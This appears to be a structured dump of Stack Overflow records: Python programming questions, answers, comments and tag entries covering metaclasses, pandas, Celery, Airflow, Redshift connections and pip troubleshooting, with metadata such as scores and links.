has body: This probably counts as an "additional name" you don't want, but I've implemented this using a dictionary in the metaclass where the keys are the classes. The __next__ method on the metaclass makes the class itself iterable, such that you can just do next() to get the next ID. The dunder method also keeps the method from being available through the instances. The dictionary storing the next id has a name starting with a double underscore, so it's not easily discoverable from any of the classes that use it. The incrementing ID functionality is thus entirely contained in the metaclass. I tucked the assignment of the id into a __new__ method on a base class, so you don't have to worry about it in __init__. This also allows you to del Meta so all the machinery is a little harder to get to. class Meta(type): __ids = {} @property def id(cls): return __class__.__ids.setdefault(cls, 0) def __next__(cls): id = __class__.__ids.setdefault(cls, 0) __class__.__ids[cls] += 1 return id class Base(metaclass=Meta): def __new__(cls, *args, **kwargs): self = object.__new__(cls) self.id = next(cls) return self del Meta class Class(Base): pass class Brass(Base): pass c0 = Class() c1 = Class() b0 = Brass() b1 = Brass() assert (b0.id, b1.id, c0.id, c1.id) == (0, 1, 0, 1) assert (Class.id, Brass.id) == (2, 2) assert not hasattr(Class, "__ids") assert not hasattr(Brass, "__ids") Note that I've used the same name for the attribute on both the class and the object. That way Class.id is the number of instances you've created, while c1.id is the ID of that specific instance.
has comment: http://stackoverflow.com/comment/84443692
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/84435957

http://stackoverflow.com/comment/84343186
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48666843
has text: Does your loss saturate around `0.69`?

http://stackoverflow.com/q/48767247
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48767375
has comment: http://stackoverflow.com/comment/84534921
downvote count: 2
tagged with: error-handling
has comment: http://stackoverflow.com/comment/84534870
tagged with: python
has body: I am trying to use some code to read username and password from a file called ".logon" and establish a connection to redshift. But I got the error message "Python - Warning: Unexpected Error: ". Here is my code: def redshift_connect(): try: l_user = getpass.getuser() home = expanduser("~") f = open(home + '/.logon') logline = f.readline() usr = logline.split(',')[0].split('/')[1].strip() pwd = logline.split(',')[1].rstrip() conn=psycopg2.connect(host='host-name', port= 5439, user= usr, password= pwd) return conn except IOError as e: print ('I/O error ({0}): {1}: .tdlogon missing!!'.format(e.errno, e.strerror)) except: print ('Warning: Unexpected Error:',sys.exc_info()[0]) else: raise ConnectionError('Cannot establish connectionw with Redshift.')
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84535817
has comment: http://stackoverflow.com/comment/84535007
has comment: http://stackoverflow.com/comment/84534919
type: Question
has comment: http://stackoverflow.com/comment/84534818
has comment: http://stackoverflow.com/comment/84534974
has answer: http://stackoverflow.com/a/48767375
upvote count: 0
score: -2
has title: Python - Warning: Unexpected Error: <class 'IndexError'>
tagged with: amazon-redshift

http://stackoverflow.com/comment/84370548
comment on: http://stackoverflow.com/q/48686395
type: Comment
type: QuestionComment
score: 0
has text: You can fix your immediate problem by removing `win.mainloop()` but I don't think `Toplevel` works the way you want. There are other problems as well.

http://stackoverflow.com/comment/84392556
comment on: http://stackoverflow.com/q/48696768
has text: It’s really an expression that throws, not a line, and that expression is `Statement(…)`. My guess is that Python only picks one line to display, and it’s the last line of the expression that’s not just made of punctuation.
score: 4
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84541857
type: QuestionComment
comment on: http://stackoverflow.com/q/48769729
has text: I don't understand what you mean. Can you show a [mcve] including the two variations you are using?
score: 0
type: Comment

http://stackoverflow.com/a/48729619
downvote count: 0
type: Answer
upvote count: 7
score: 7
has body: You can recombine those tuples with a comprehension like: Code: new_list = [''.join(d) for d in old_list] Test Code: data = [ ('y', 'e', 's'), ('y', 's', 'e'), ('e', 'y', 's'), ('e', 's', 'y'), ('s', 'y', 'e'), ('s', 'e', 'y') ] data_new = [''.join(d) for d in data] print(data_new) Results: ['yes', 'yse', 'eys', 'esy', 'sye', 'sey']
answers question: http://stackoverflow.com/q/48729575

http://stackoverflow.com/comment/84378661
has text: ok so, I'm trying to make the code simulate throwing 5 dice and list all the possibilities in `sample` then list out the `event` through a `for` loop with the "condition" of course and then at the end it prints the length of the event divided by the length of the sample (As you can see in the functions and sample). Here's a much easier version of the code where it calculates the probability of have exactly 1 six when throwing the dice 4 times:
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48689067
score: 0

http://stackoverflow.com/comment/84460814
score: 0
comment on: http://stackoverflow.com/q/48729656
type: Comment
has text: This will be the last option left .. but can't we use Histogram Equilisation or Image intensity transformation domain or any other method ?
type: QuestionComment

http://stackoverflow.com/a/48782286
score: 4
has comment: http://stackoverflow.com/comment/84567337
upvote count: 4
has body: Option 1 I'd use groupby and transform with first. transform will broadcast the first encountered value across all instances of the group. df.assign( Account_Number= df.groupby('Account_Number') .Dummy_Account .transform('first') ) Account_Number Dummy_Account 0 ACC0000000000001 ACC0000000000001 1 ACC0000000000002 ACC0000000000002 2 ACC0000000000001 ACC0000000169532 3 ACC0000000123005 ACC0000000123005 4 ACC0000000000004 ACC0000000000004 5 ACC0000000000005 ACC0000000000005 6 ACC0000000123005 ACC0000000000040 Option 2 Use Numpy's np.unique to get at an index of first values and an inverse. The index (idx) identifies where the first unique positions of 'Account_Number' occured. I use this to slice 'Dummy_Account'. I then use the inverse array (inv) intended to put the unique values back into place but instead I use it on the things that were in those same positions from the coincident array. u, idx, inv = np.unique( df.Account_Number.values, return_index=True, return_inverse=True ) df.assign( Account_Number= df.Dummy_Account.values[idx][inv] ) Account_Number Dummy_Account 0 ACC0000000000001 ACC0000000000001 1 ACC0000000000002 ACC0000000000002 2 ACC0000000000001 ACC0000000169532 3 ACC0000000123005 ACC0000000123005 4 ACC0000000000004 ACC0000000000004 5 ACC0000000000005 ACC0000000000005 6 ACC0000000123005 ACC0000000000040 Option 3 Or using pd.factorize and pd.Series.duplicated. Similar to option 2, however I let duplicated play the role of identifying where the first values are. I then slice the coincident values with the resulting boolean array then invert it with the result of pd.factorize. f plays the same exact role as inv from option 2. d = ~df.Account_Number.duplicated().values f, u = pd.factorize(df.Account_Number.values) df.assign( Account_Number= df.Dummy_Account.values[d][f] ) Account_Number Dummy_Account 0 ACC0000000000001 ACC0000000000001 1 ACC0000000000002 ACC0000000000002 2 ACC0000000000001 ACC0000000169532 3 ACC0000000123005 ACC0000000123005 4 ACC0000000000…
answers question: http://stackoverflow.com/q/48781372
has comment: http://stackoverflow.com/comment/84566334
downvote count: 0
has comment: http://stackoverflow.com/comment/84568598
has comment: http://stackoverflow.com/comment/84567498
type: Answer
has comment: http://stackoverflow.com/comment/84567464
has comment: http://stackoverflow.com/comment/84565896

http://stackoverflow.com/q/48699343
has comment: http://stackoverflow.com/comment/84398049
tagged with: python
has body: I'm a new programmer and just starting off with Python. I have the following 2 questions, however, I decided to put them in one post. When asking to input age, how do I force the program to only accept numbers? The concept is that after the user has entered their age, the program would pick a random number between 1 and 100 and compare it to the user input, returning either "I'm older than you", "I'm younger than you" or "we are the same age". # Print Welcome Message print("Hello World") # Ask for Name name = input("What is your name? ") print("Hello " + str(name)) # Ask for Age age = input("How old are you? ") print("Hello " + str(name) + ", you are " + str(age) + " years old.") random.randint(1, 100)
tagged with: numbers
downvote count: 0
score: 1
has title: python random numbers and comparison
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48699705
possible better answer: http://stackoverflow.com/a/48699463
has answer: http://stackoverflow.com/a/48699463
answer count: 6
accepted answer: http://stackoverflow.com/a/48699596
type: Question
has answer: http://stackoverflow.com/a/48699536
tagged with: random
upvote count: 1
has answer: http://stackoverflow.com/a/48699511
has answer: http://stackoverflow.com/a/48699713
has answer: http://stackoverflow.com/a/48699596
favorite count: 0

keyword
tags question: http://stackoverflow.com/q/48758595
tag name: keyword
type: Tag
tags question: http://stackoverflow.com/q/48766670

http://stackoverflow.com/a/48803876
has comment: http://stackoverflow.com/comment/84614715
score: 0
answers question: http://stackoverflow.com/q/48803613
type: Answer
has body: The issue is on this line: timestamp = oftp.stat(newfile).st_atime If newfile is not assigned previously based on the if condition, you will reference it even if it's not assigned. In the beginning of your script, as suggested by @cco, you can also set newfile to an empty string: newfile = '' You should structure so that the rest is only processed if newfile is assigned. You can add a condition on newfile. Also, if I'm not mistaken, the following lines should be part of the for loop. Otherwise newfile will only contain the last filename found. It will be overwritten each time with the next one found. timestamp = oftp.stat(newfile).st_atime if timestamp &gt; unixtime - 604800: newtime=unixtime + 3600 gaamfile='file_123_26807_' zipname = gaamfile+str(newtime)+'.sync.zip' create_zip = zipfile.ZipFile(zipname, 'w', zipfile.ZIP_DEFLATED) oftp.get(newfile, newfile) oftp.close() newfilename = gaamfile+str(newtime)+'.sync' os.rename(newfile, newfilename) create_zip.write(newfilename) create_zip.close() print newfile else: print "No files found"
has comment: http://stackoverflow.com/comment/84610634

http://stackoverflow.com/q/48761934
score: -1
type: Question
upvote count: 0
answer count: 1
has title: Celery tasks return typeError, but no error on worker log
favorite count: 0
has answer: http://stackoverflow.com/a/48762261
has comment: http://stackoverflow.com/comment/84524163
has comment: http://stackoverflow.com/comment/84524208
has body: I have a program with structure like this: program/worker.py /package/sub-package/file.py usecase.py I declare the app of celery on worker.py: from celery import Celery app = Celery('program.worker', broker=redis_broker, include=['program.package.sub-package.file']) And the tasks is written like this on file.py: from program.worker import app class File(): @propery somefunction(): @app.task celeryFunction(param1): print(param1) When I call the tasks from a function inside usecase.py: from program.package.sub-package.file import celeryFunction def run(param): celeryFunction.delay(param) I got error, but the celery worker log didnot print anything about error, Is there something I miss? Thank you
type: UnansweredQuestion
tagged with: python
downvote count: 1
tagged with: celery
has comment: http://stackoverflow.com/comment/84524264

http://stackoverflow.com/q/48776566
tagged with: python
has answer: http://stackoverflow.com/a/48776592
type: AnsweredQuestion
tagged with: list
has body: How can I copy list of lists and delete last element from each in one step ? I can do something like this, but would like to learn to do it in one step: test2 = [["A","A","C"], ["C","A"], ["A","B","C","A"]] import copy test3 = copy.deepcopy(test2) for item in test3: del item[-1]
upvote count: 1
type: Question
has title: How to copy list of lists from python without last elements from each list
duplicate of: http://stackoverflow.com/q/75666408
score: 1
accepted answer: http://stackoverflow.com/a/48776592
answer count: 1
downvote count: 0
tagged with: copy
favorite count: 0
linked to: http://stackoverflow.com/q/25082410

junit
type: Tag
tag name: junit
tags question: http://stackoverflow.com/q/48759235

aiohttp
tags question: http://stackoverflow.com/q/48682147
tags question: http://stackoverflow.com/q/48773329
tag name: aiohttp
tags question: http://stackoverflow.com/q/48798156
tags question: http://stackoverflow.com/q/48767852
type: Tag
tags question: http://stackoverflow.com/q/48757314
tags question: http://stackoverflow.com/q/48761985
tags question: http://stackoverflow.com/q/48673212
tags question: http://stackoverflow.com/q/48695294

http://stackoverflow.com/comment/84377039
has text: A string is not a valid input for `urllib.urlencode(folder)`
type: AnswerComment
comment on: http://stackoverflow.com/a/48689458
score: 0
type: Comment

http://stackoverflow.com/q/48681295
score: 0
tagged with: python
has title: Word search in a matrix leetcode solution not working
has body: Given a 2D board and a word, find if the word exists in the grid. The word can be constructed from letters of sequentially adjacent cell, where "adjacent" cells are those horizontally or vertically neighboring. The same letter cell may not be used more than once. For example, Given board = [ ['A','B','C','E'], ['S','F','C','S'], ['A','D','E','E'] ] word = "ABCCED", -> returns true word = "SEE", -> returns true word = "ABCB", -> returns false This is a typical DFS + backtracking solution. It compares board[row][col] with word[start]. If they match, change board[row][col] to ‘#’ to mark it as visited. Then move to the next one (i.e. word[start + 1]) and compare it to the current neighbors (doing it by recursion). Below is my code which is not working. I tried debugging but I feel there is off by one error somewhere which I am not able to track. class Solution(object): def exist(self, board, word): def match(board, word, r, c, index): if r < 0 or r >= len(board) or c < 0 or c >= len(board[0]) or index < 0 or index > len(word): return False if index == len(word): return True directions = [(-1, 0), (1, 0), (0, -1), (0, 1)] for x, y in directions: tmp = board[r][c] board[r][c] = "#" if tmp == word[index] and match(board, word, r+x, r+y, index+1): return True board[r][c] = tmp return False """ :type board: List[List[str]] :type word: str :rtype: bool """ if board == word: return True if not board and word or board and not word: return False for r in range(len(board)): for c in range(len(board[0])): if match(board, word, r, c, 0): return True return False
type: UnansweredQuestion
tagged with: algorithm
has comment: http://stackoverflow.com/comment/84361201
type: Question
has comment: http://stackoverflow.com/comment/84360497
has answer: http://stackoverflow.com/a/48691668
answer count: 1

http://stackoverflow.com/q/48734848
has comment: http://stackoverflow.com/comment/84469762
type: Question
tagged with: anaconda
tagged with: mlxtend
linked to: http://stackoverflow.com/q/46499808
score: 0
duplicate of: http://stackoverflow.com/q/46499808
has comment: http://stackoverflow.com/comment/84470457
type: UnansweredQuestion
tagged with: python
has body: I am running Windows 10 and Installed Anaconda. I know pip is there: C:\Users\Rafay\Documents&gt;pip --version pip 9.0.1 from C:\Users\Rafay\Anaconda3\lib\site-packages (python 3.6) I even activated the environment. C:\Users\Rafay\Documents&gt;conda env list # conda environments: # base * C:\Users\Rafay\Anaconda3 C:\Users\Rafay\Documents&gt;activate base C:\Users\Rafay\Documents&gt;pip install mlxtend Collecting mlxtend Exception: Traceback (most recent call last): File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\basecommand.py", line 215, in main status = self.run(options, args) File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\commands\install.py", line 335, in run wb.build(autobuilding=True) File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\wheel.py", line 749, in build self.requirement_set.prepare_files(self.finder) File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\req\req_set.py", line 380, in prepare_files ignore_dependencies=self.ignore_dependencies)) File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\req\req_set.py", line 554, in _prepare_file require_hashes File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\req\req_install.py", line 278, in populate_link self.link = finder.find_requirement(self, upgrade) File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\index.py", line 465, in find_requirement all_candidates = self.find_all_candidates(req.name) File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\index.py", line 423, in find_all_candidates for page in self._get_pages(url_locations, project_name): File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\index.py", line 568, in _get_pages page = self._get_page(location) File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\index.py", line 683, in _get_page return HTMLPage.get_page(link, session=self.session) File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\index.py", line 811, in get_page inst = cls(resp.content, resp.url, resp.headers) File "C:\Users\Rafay\Anaconda3\lib\site-packages\pip\i…
has title: Windows 10 pip install not working Anaconda prompt
has comment: http://stackoverflow.com/comment/84469391
answer count: 0
tagged with: pip

http://stackoverflow.com/q/48742149
accepted answer: http://stackoverflow.com/a/48742241
type: AnsweredQuestion
tagged with: list
has title: Python: Removing an integer in a list within a list is removing the integer on all sublists lists
score: -1
type: Question
has comment: http://stackoverflow.com/comment/84484016
answer count: 1
favorite count: 0
tagged with: multidimensional-array
has answer: http://stackoverflow.com/a/48742241
has comment: http://stackoverflow.com/comment/84484602
tagged with: python
has body: Here are my Variables: availableColorsForNode: [[1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3],[inf]] neighbor: 4 availableColorsForNode[neighbor]: [1, 2, 3] adjacencyList: [[3], [2, 3], [1, 3], [1, 2], [5], [4]] adjacencyList[node]: [4] color: 1 Here is the Code: for neighbor in adjacencyList[node]: if color in availableColorsForNode[neighbor]: availableColorsForNode[neighbor].remove(color) #problem is here somehow I am expecting: availableColorsForNode: [[1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3], [2, 3], [inf]] But I am getting (where 1 is removed everywhere): availableColorsForNode: [[2, 3], [2, 3], [2, 3], [2, 3], [2, 3], [inf]] Why is this happening? When I do a simple test such as the following I get the expected output: test = [[1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3]] test[4].remove(1) print(test) output is [[1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3], [2, 3], [1, 2, 3]]
downvote count: 2
upvote count: 1

http://stackoverflow.com/q/48786764
possible better answer: http://stackoverflow.com/a/48786862
upvote count: 2
has answer: http://stackoverflow.com/a/48787654
has answer: http://stackoverflow.com/a/48786862
tagged with: element
accepted answer: http://stackoverflow.com/a/48787654
answer count: 3
has comment: http://stackoverflow.com/comment/84575247
has answer: http://stackoverflow.com/a/48786879
favorite count: 0
has comment: http://stackoverflow.com/comment/84574986
has title: Deleting one position to another position elements from list in python
has comment: http://stackoverflow.com/comment/84574994
downvote count: 5
score: -3
tagged with: python
has comment: http://stackoverflow.com/comment/84574940
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84574868
tagged with: list
has body: I have a list like the one below and I would like to delete all entries between any word (inclusive) and the next '0' (exclusive). So for example this list: array = ['1', '1', '0', '3', '0', '2', 'Continue', '1', '5', '1', '4', '0', '7', 'test', '3', '6', '0'] should become: ['1', '1', '0', '3', '0', '2', '0', '7', '0']
type: Question
has comment: http://stackoverflow.com/comment/84575166
has comment: http://stackoverflow.com/comment/84574923
tagged with: arrays

http://stackoverflow.com/q/48774149
favorite count: 0
answer count: 5
has answer: http://stackoverflow.com/a/67811682
has comment: http://stackoverflow.com/comment/84550304
tagged with: python
has comment: http://stackoverflow.com/comment/84549792
has comment: http://stackoverflow.com/comment/84549840
has title: Python: How to access every kth key in an OrderedDict?
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48774269
has answer: http://stackoverflow.com/a/48774531
has answer: http://stackoverflow.com/a/48774184
type: Question
accepted answer: http://stackoverflow.com/a/48774184
has answer: http://stackoverflow.com/a/48774243
has comment: http://stackoverflow.com/comment/84549812
has comment: http://stackoverflow.com/comment/84549771
score: 0
has answer: http://stackoverflow.com/a/48774269
has body: I have an OrderedDict (the keys are ordered): od1 = {0:10, 1:3, 2:7, 3:11, 4:30, 5:15, 6:19, 7:4, 8:3} I want a new OrderedDict() object that contains the key:value pairs of every second element of od1. That is, I want: od2 = {0:10, 2:7, 4:30, 6:19, 8:3} I have tried: od2 = OrderedDict() od2 = {k:v for k, v in od1.items() if k % 2 == 0} However, that does not give me an ordered dictionary, and it does not give me all keys. Instead, I get this, which is NOT what I want: {0: 10, 8: 3, 2: 7, 4: 30, 6: 19} How can I get a new OrderedDict() object that contains every kth key and its associated value?
upvote count: 1
downvote count: 1

http://stackoverflow.com/q/48699475
tagged with: macos
tagged with: jupyter-notebook
type: UnansweredQuestion
upvote count: 1
downvote count: 1
has title: notebook not installed with anaconda/jupyter
has body: I just installed Anaconda 2.1.0 (x86_64) for one of my course on MAC OS. ()Installation went OK ()PATH was updated ()ran the following commands and all seem to go OK. conda update conda conda update ipython conda update pip conda install bokeh ()version query returns conda --version conda 4.4.9 As per the instruction i should have notebook package installed. But i get the following error XXXXX@Admins-MacBook-Pro ~ $ jupyter notebook Error executing Jupyter command 'notebook': [Errno 2] No such file or directory conda list only has ipython notebook gsandhu@Admins-MacBook-Pro ~ $ conda list | grep notebook ipython-notebook 2.2.0 py27_0 Previously i tried updating jupyter using "pip install jupyter" and i was able to start the notebook but then there were issues in kernal . So i uninstalled everything and started from fresh. Can anyone please guide me through this? Thanks in Advance Adding more details After this if i do "pip install jupyter" . I can start notebook but right away i get the following error in in kernal . File "/Users/gsandhu/anaconda/lib/python2.7/runpy.py", line 174, in _run_module_as_main "__main__", fname, loader, pkg_name) File "/Users/gsandhu/anaconda/lib/python2.7/runpy.py", line 72, in _run_code exec code in run_globals File "/Users/gsandhu/anaconda/lib/python2.7/site- packages/ipykernel_launcher.py", line 16, in <module> app.launch_new_instance() File "/Users/gsandhu/anaconda/lib/python2.7/site- packages/traitlets/config/application.py", line 657, in launch_instance app.initialize(argv) File "<string>", line 2, in initialize File "/Users/gsandhu/anaconda/lib/python2.7/site- packages/traitlets/config/application.py", line 87, in catch_config_error return method(app, *args, **kwargs) File "/Users/gsandhu/anaconda/lib/python2.7/site- packages/ipykernel/kernelapp.py", line 448, in initialize self.init_sockets() File "/Users/gsandhu/anaconda/lib/python2.7/site- packages/ipykernel/kernelapp.py", line 251, in init_sockets self.init_iopub(context) File …
has answer: http://stackoverflow.com/a/48699568
type: Question
score: 0
answer count: 1
favorite count: 0
tagged with: python
tagged with: jupyter

http://stackoverflow.com/a/65018630
answers question: http://stackoverflow.com/q/48784178
score: 0
type: Answer
has body: Veirify that the ".txt" in "requirements.txt" is not duplicated. When I named the file, I explicitly typed requirements.txt which resulted in a file named requirements.txt.txt that was not being detected.

http://stackoverflow.com/comment/84414181
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48707147
has text: It should yeah. btw re_path() replace url(), they are not the same as path()
type: Comment

http://stackoverflow.com/q/48746561
tagged with: airflow
downvote count: 0
has answer: http://stackoverflow.com/a/67254524
answer count: 3
has answer: http://stackoverflow.com/a/76210136
accepted answer: http://stackoverflow.com/a/67254524
has title: Providing context in TriggerDagRunOperator
favorite count: 0
possible better answer: http://stackoverflow.com/a/48748345
has body: I have a dag that has been triggered by another dag. I have passed through to this dag some configuration variables via the DagRunOrder().payload dictionary in the same way the official example has done. Now in this dag I have another TriggerDagRunOperator to start a second dag and would like to pass those same configuration variables through. I have succesfully accessed the payload variables in a PythonOperator like so: def run_this_func(ds, **kwargs): print("Remotely received value of {} for message and {} for day".format( kwargs["dag_run"].conf["message"], kwargs["dag_run"].conf["day"]) ) run_this = PythonOperator( task_id='run_this', provide_context=True, python_callable=run_this_func, dag=dag ) But the same pattern does not work in the TriggerDagRunOperator: def trigger(context, dag_run_obj, **kwargs): dag_run_obj.payload = { "message": kwargs["dag_run"].conf["message"], "day": kwargs["dag_run"].conf["day"] } return dag_run_obj trigger_step = TriggerDagRunOperator( task_id="trigger_modelling", trigger_dag_id="Dummy_Modelling", provide_context=True, python_callable=trigger, dag=dag ) It yields a warning regarding the use of provide_context: INFO - Subtask: /usr/local/lib/python2.7/dist-packages/airflow/models.py:1927: PendingDeprecationWarning: Invalid arguments were passed to TriggerDagRunOperator. Support for passing such arguments will be dropped in Airflow 2.0. Invalid arguments were: INFO - Subtask: *args: () INFO - Subtask: **kwargs: {'provide_context': True} INFO - Subtask: category=PendingDeprecationWarning And this error suggesting I haven't passed the conf : INFO - Subtask: Traceback (most recent call last): INFO - Subtask: File "/usr/local/lib/python2.7/dist-packages/airflow/models.py", line 1374, in run INFO - Subtask: result = task_copy.execute(context=context) INFO - Subtask: File "/usr/local/lib/python2.7/dist-packages/airflow/operators/dagrun_operator.py", line 64, in execute INFO - Subtask: dro = self.python_callable(context, dro) INFO - Subtask…
has answer: http://stackoverflow.com/a/48748345
tagged with: python
upvote count: 7
type: AnsweredQuestion
score: 7
type: Question

http://stackoverflow.com/comment/84289283
type: QuestionComment
has text: Unfortunately, you cannot format multiline TODO comments using PyCharm. There are numerous forum posts that you can google up to confirm this.
score: 0
comment on: http://stackoverflow.com/q/48645942
type: Comment

http://stackoverflow.com/comment/84420315
score: 1
has text: The snippet isn't drop-in ready. You need to change `reviewboard.accounts.backends` to `your_foo_project.your_bar_app.backends`. `reviewboard` was this lady's top django project name.
type: Comment
comment on: http://stackoverflow.com/q/48691027
type: QuestionComment

http://stackoverflow.com/q/48738851
has comment: http://stackoverflow.com/comment/84478255
has answer: http://stackoverflow.com/a/48751351
has comment: http://stackoverflow.com/comment/84478072
type: AnsweredQuestion
score: 1
type: Question
has comment: http://stackoverflow.com/comment/84477488
downvote count: 0
accepted answer: http://stackoverflow.com/a/48751351
has comment: http://stackoverflow.com/comment/84477355
has comment: http://stackoverflow.com/comment/84478075
tagged with: http://stackoverflow.com/tag/csv
answer count: 1
tagged with: python
has title: Python Reading and writing CSV and modifying lines
has body: While reading a csv file, why can't I take a key's variable and add one to it, then re-write to the csv to write over that line? (Line labeled #PROBLEM PORTION is the line I'm referring too) def userExists(): count = 0 global fieldnames,plyname,plylname,scorefile fieldnames = ['score','fn','ln'] if os.path.isfile("scorefiles/"+scorefile+".csv") == True: with open("scorefiles/"+scorefile+'.csv', 'r') as csv_file: #File being opened csv_reader = csv.DictReader(csv_file) #File being read as csv_reader(where the contents are) for line in csv_reader: # Loop through the lines print(line['fn'],line['ln'],line['score']) if line['fn'] == plyname.lower(): # Does CSV First Name == Player's First name? with open("scorefiles/"+scorefile+'.csv', 'r+') as newFile: # Open CSV newFileWriter = csv.DictWriter(newFile,fieldnames=fieldnames,delimiter=',')# Create a writer for the file newFileWriter.writeheader() for line in csv_reader: line['score'] = int(line['score']) + 1 #PROBLEM PORTION newFileWriter.writerow(line) print(line['fn']) count = count + 1 if count == 0: # if the count == 0 (player doesn't exist), add the player to the csv. with open("scorefiles/"+scorefile+'.csv', 'a') as newFile: # Open CSV newFileWriter = csv.writer(newFile) # Create a writer for the file newFileWriter.writerow([1,plyname.lower(),plylname.lower()]) #Write to the csv print("Wrote player name to save data.") print('Count: ',count) else: #File path doesn't exist so it creates the new file createcsv()
favorite count: 0
tagged with: file
tagged with: file-writing
has comment: http://stackoverflow.com/comment/84477389
upvote count: 1

http://stackoverflow.com/a/48768608
answers question: http://stackoverflow.com/q/48768148
type: Answer
score: 1
has body: If you are not using the hourly list for something else after the creation of the Project object, then you do not need to append it to the list. You only need to: for i in range(0, 8760): clock_time=3600*i hourly = Hourly(project=project, clock_time=clock_time) hourly.save() but you have to be aware that save 8760 objects in the database is an intensive task for the database.
upvote count: 1
downvote count: 0

http://stackoverflow.com/comment/84491941
type: AnswerComment
type: Comment
has text: Just to facilitate the wisdom of the crowd - this approach was the fastest using a dictionary with 10000 random entries and `timeit`.
comment on: http://stackoverflow.com/a/48744717
score: 1

http://stackoverflow.com/q/48767648
has body: Consider a Blog model as below: class Blog(models.Model): text = ... stage = ... # ChoiceField Blog.stage describes the current stage the blog is in which can take many values like edit, content verification, tag etc. Transition from one stage to another is based on a condition. In content verification stage, a user verifies the content of the model and corresponding entries are recorded in the following model. class ContentVerificationModel(models.Model): user = ... #verifier blog = ... # blog being verified do_you_verify_blog_content = ... # BooleanField To move from content_verification_stage to next stage, say, edit stage, following conditions must be satisfied: Blog must be verified by some minimum number of people (Say, 10) Percentage of people who voted for the blog must be greater than some minimum value (say, 60 i.e. 6 out 10 entries for a blog must have do_you_verify_blog_content value as True) How do I manipulate my code so that a model field can be changed automatically when some conditions are met?
score: 1
has comment: http://stackoverflow.com/comment/84536358
tagged with: django-models
has comment: http://stackoverflow.com/comment/84535633
type: Question
downvote count: 0
favorite count: 0
tagged with: python
has title: automatically changing model field in Django
answer count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: django

http://stackoverflow.com/comment/84360850
has text: @shiva Put them into two files
comment on: http://stackoverflow.com/q/48681438
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/54884320
type: Answer
score: 1
has body: i was facing the exact the same problem with firebase and pyqt5. After many tries i examine the firebase library. In init there is close_process_pool() function which is called when program exits and close all the multiprocessing pools. In tkinter and pyqt case we dont need this function as all the process is the childs of main GUI thread so simple removing that function resolves the problem. Change the init file to this will resolve the issue. import atexit #from .async import process_pool from firebase import * ''' @atexit.register def close_process_pool(): """ Clean up function that closes and terminates the process pool defined in the ``async`` file. """ process_pool.close() process_pool.join() process_pool.terminate() '''
answers question: http://stackoverflow.com/q/48682310
accepted answer of: http://stackoverflow.com/q/48682310
has comment: http://stackoverflow.com/comment/112342047
upvote count: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/84402042
type: Comment
has text: This is good solution, if i was sitting on RDP itself or open it on my machine, but i really interesting in getting screenshot without actually opening RDP on my side. Is where any API for doing so? My Machine -remote call for screenshot-> RDP(making screenshot) -> My Machine(grabbing from FTP, or directly from API)
comment on: http://stackoverflow.com/a/48701508
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84604089
has text: The `wget` that you have is a _program_, not a Python module. You cannot import it. You can execute it from Python using `system` or some other function.
score: 4
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48800589

http://stackoverflow.com/comment/84387868
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48675854
has text: There are multiple blocks within the text file.
score: 0

http://stackoverflow.com/q/48766485
has comment: http://stackoverflow.com/comment/84534596
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84534436
type: Question
tagged with: testing
tagged with: http://stackoverflow.com/tag/json
has title: Request with json as data
score: 0
has comment: http://stackoverflow.com/comment/84535991
has comment: http://stackoverflow.com/comment/84533318
has comment: http://stackoverflow.com/comment/84534379
duplicate of: http://stackoverflow.com/q/9733638
tagged with: rest
has comment: http://stackoverflow.com/comment/84534479
has body: I want to get a response from post request to a site that requires password and json data as input. The code looks like this: import requests from requests.auth import HTTPBasicAuth import json url = 'http://ssss.ct.xxx:9000/xxx.xx_xxx/xxxx/get/json/' data = '''{"RowSelectors":[{"Name":"xx","Value":"100649","Operation":"OR" }, {"Name":"xx","Value":"577","Operation":"OR" }],"TableName":"YY"}''' response = requests.post(url, data=json.loads(data), auth = HTTPBasicAuth('my_user', 'my_password')) print(response) And the print function shows me a "Response [415]", which is "Unsupported Media Type" error. I expect it to return me a result from the query in variable "data". I know that something might be wrong with this data, but I don't know how to solve this. I also tried using another library: import urllib.request import urllib.parse import json data1 = '''{"RowSelectors":[{"Name":"xx","Value":"100649","Operation":"OR" }, {"Name":"xx","Value":"577","Operation":"OR" }],"TableName":"YY"}''' data1= json.loads(data1) params = urllib.parse.urlencode(data1) x = urllib.request.Request('http://ssss.ct.xxx:9000/xxx.xx_xxx/xxxx/get/json/', data=params) y= urllib.request.urlopen(x, data = params) print(y.read()) But it doesn't work too. The error in this case is: POST data should be bytes, an iterable of bytes, or a file object. It cannot be of type str. And I don't understand the documentation on how i should include the user and password to this code. Additional maybe useful info : I'm using soapUI and I have 3 inputs that I want to have. First is endpoint=http://ssss.ct.xxx:9000, then its resource=/xxx.xx_xxx/xxxx/get/json/ and the SQL query written in data. I expect my response to be a 